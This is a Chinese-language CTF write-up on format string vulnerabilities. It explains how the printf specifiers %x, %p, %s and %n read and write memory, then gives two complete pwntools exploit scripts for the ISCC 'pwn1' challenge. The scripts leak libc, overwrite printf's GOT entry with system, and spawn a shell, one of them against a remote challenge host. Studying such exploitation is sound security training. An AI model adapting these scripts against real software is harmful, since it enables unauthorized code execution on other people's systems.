格式化字符串利用小结

格式化字符串漏洞基本原理：

Printf()函数的一般形式为printf(“format”,输出表列)，其第一个参数就是格式化字符串，用来告诉程序以什么格式进行输出。正常情况下，这样使用：

char str[100];

scanf(“%s”,str);

printf(“%s”,str);

但也有人这么用：

char str[100]

scanf(“%s”,str);

printf(str)

也许代码编写者的本意只是单纯打印一段字符（如“hello world”），但如果这段字符串来源于外部用户可控的输入，则该用户完全可以在字符串中嵌入格式化字符（如%s）。那么，由于printf允许参数个数不固定，故printf会自动将这段字符当作format参数，而用其后内存中的数据匹配format参数。

 

 

以上图为例，假设调用printf(str)时的栈是这样的：

（1）如果str就是“Hello word”，则直接输出“hello world”

（2）如果str是format，例如：%2$p，就会输出format偏移2处到内存地址的内容！

实例分析：

下面我们来通过ISCC pwn1的格式化字符从来进行分析：

首先看下文件

file pwn1

pwn1: ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), 

for GNU/Linux 2.6.24, BuildID[sha1]=cdb7eaa63202024dd348ac15b485b751b55eafa8, not stripped

运行下程序：

 

查看下保护机制：

 

发现只有NX保护机制。

看下反编译的源码：

 

发现漏洞在printf输出的地方。测试下：

果然出现了打印地址的情况，说明存在格式户字符串漏洞。

我们来调试熟悉格式化字符串的利用：

%c：输出字符，配上%n可用于向指定地址写数据。

%d：输出十进制整数，配上%n可用于向指定地址写数据。

%x：输出16进制数据，如%i$x表示要泄漏偏移i处4字节长的16进制数据，%i$lx表示要泄漏偏移i处8字节长的16进制数据，32bit和64bit环境下一样。

%p：输出16进制数据，与%x基本一样，只是附加了前缀0x，在32bit下输出4字节，在64bit下输出8字节，可通过输出字节的长度来判断目标环境是32bit还是64bit。

%s：输出的内容是字符串，即将偏移处指针指向的字符串输出，如%i$s表示输出偏移i处地址所指向的字符串，在32bit和64bit环境下一样，可用于读取GOT表等信息。

%n：将%n之前printf已经打印的字符个数赋值给偏移处指针所指向的地址位置，如%100x%10$n表示将0x64写入偏移10处保存的指针所指向的地址（4字节），而%$hn表示写入的地址空间为2字节，%$hhn表示写入的地址空间为1字节，%$lln表示写入的地址空间为8字节，在32bit和64bit环境下一样。有时，直接写4字节会导致程序崩溃或等候时间过长，可以通过%$hn或%$hhn来适时调整。

%n是通过格式化字符串漏洞改变程序流程的关键方式，而其他格式化字符串参数可用于读取信息或配合%n写数据。

 

1、%x打印内存数据

首先在printf处下一个断点：

 

运行输入%x：

 

程序段在了我们的断点处。C继续运行

 

发现程序打印出了，format偏移1处的内存中的内容。

 

现在我们输入%5$x 看打印的内容是不是：0x1

果然输出了我们想要预设的偏移为5的数据，即为1.

2、%p打印内存数据

%p的用法和%x的用法相同，不同的是%p会在打印的数据前面添加上0x（输出16进制数据）。例如%5$p

然后试一下偏移四处的栈数据即我们预测的0xaffd014.输入%4$p,看效果。可以发现打印的是带有0x的数据内容，即十六进制数据。

 

3、%s打印内存数据

%i&s是打印处偏移i处地址里面数据指向的内存地址的内容。例如我们通过%3$s以字符串格式打印偏移3处的内容，就是0xffffd074指向的内容，即为0xffffd26c，下面我们看效果。

会发现打印的是L***为什么不是0xffffd26c呢？别急，看下转码。

内存小端存储,是以 6c d2 ff ff 形式存储，打印的就是0xffffd26c转换为字符串之后的形式。

4、%n写入内存数据

%n和%s类似，会把%好之前的字符个数，写入第i处数据指向的地址空间，我们实验下AAA%3$n,看看会不会把3写入到0xffffd074指向的内存，即覆盖0xffffd26c.

 

 

会看到，我们成功将3写入了0xffffd074指向的数据。这样我们就能够利用这一点来修改got表的地址了。

如果要写入具体的数据可以通过%datax%n$n,例如要写入数据0x48到偏移删除的位置，可以用%72x%3$n.(72是0x48的十进制数据。)

调试看效果：

 

可以发现偏移三处的位置，0xffffd074指向的数据被我们修改为了0x48('H').

后面我们会结合实际的例题来完整的实例脚本。

还是这道题pwn1，刚刚我们对格式化字符串的参数利用方法，下面就是利用方式了。先看脚本：

 32位：

from pwn import*

local =1
debug = 1

if local:
    p = process('./pwn1')
else:
    p = remote("127.0.0.1",8080)

#context.log_level = 'debug'
'''
if debug:
    gdb.attach(p)
'''
def fms(data):
    p.recvuntil("input$",timeout=4)
    p.sendline("1")
    p.recvuntil("please input your name:
")
    p.sendline(data)


libc = ELF("/lib/i386-linux-gnu/libc.so.6")
elf = ELF('./pwn1')

fms('%35$p')

libc_start_main_addr = int(p.recv(10),16) - 243    #__libc_start_main
libc_addr = libc_start_main_addr - libc.symbols['__libc_start_main']
print "libc_addr =",hex(libc_addr)

printf_got = elf.got['printf']
print "printf_got =",hex(printf_got)

system_addr =libc_addr + libc.symbols['system']
print "system_addr =",hex(system_addr)

#make stack
make_stack = 'a' * 0x30 + p32(printf_got) + p32(printf_got + 0x1) 
fms(make_stack)
#gdb.attach(p)

payload = "%" + str(((system_addr & 0x000000FF))) + "x%18$hhn"
payload += "%" + str(((system_addr & 0x00FFFF00) >> 8) - (system_addr & 0x000000FF)) + "x%19$hn" 
print "payload=",payload

fms(payload)
fms('/bin/shx00')
p.interactive()

看下这条语句：

 make_stack = 'a' * 0x30 + p32(printf_got) + p32(printf_got + 0x1) 

目的是抬高栈：防止写入的数据被程序执行过程中被覆盖，语句如下，0x30这个数值可以自己定义。剩下的工作就是调试寻找偏移地址了。

 

利用思路：

1、泄露地址：__libc_start_main —>libc_addr

2、修改printf的got表内的地址为system函数的地址。

3、通过源程序中的printf（/bin/sh），就变成了system（/bin/sh），取得了shell了。

64位：

from pwn import*

local =0
debug = 0

if local:
    p = process('./pwn1')
else:
    p = remote("101.71.29.5",10040)

context_log_level = 'debug'

if debug:
    gdb.attach(p)

def fms(data):

    p.sendline(data)


libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
elf = ELF('./pwn1')

fms('%43$p')


libc_start_main_addr = int(p.recv(20),16) - 240
print "libc_start_main_addr =",hex(libc_start_main_addr)
libc_addr = libc_start_main_addr - libc.symbols['__libc_start_main']
print "libc_addr =",hex(libc_addr)

printf_got = elf.got['printf']
print "printf_got =",hex(printf_got)

system_addr =libc_addr + libc.symbols['system']
#system_addr = 0x12345678
print "system_addr =",hex(system_addr)




make_stack = 'A' * 0x50 + p64(printf_got) + p64(printf_got + 0x1) 
fms(make_stack)


payload = "%" + str(((system_addr & 0x000000FF))) + "x%18$hhn"
payload += "%" + str(((system_addr & 0x00FFFF00) >> 8) - (system_addr & 0x000000FF)) + "x%19$hn" 
print "payload=",payload

#gdb.attach(p,open('bb'))

fms(payload)

fms('/bin/shx00')
p.interactive()

 参考链接：http://bobao.360.cn/learning/detail/3654.html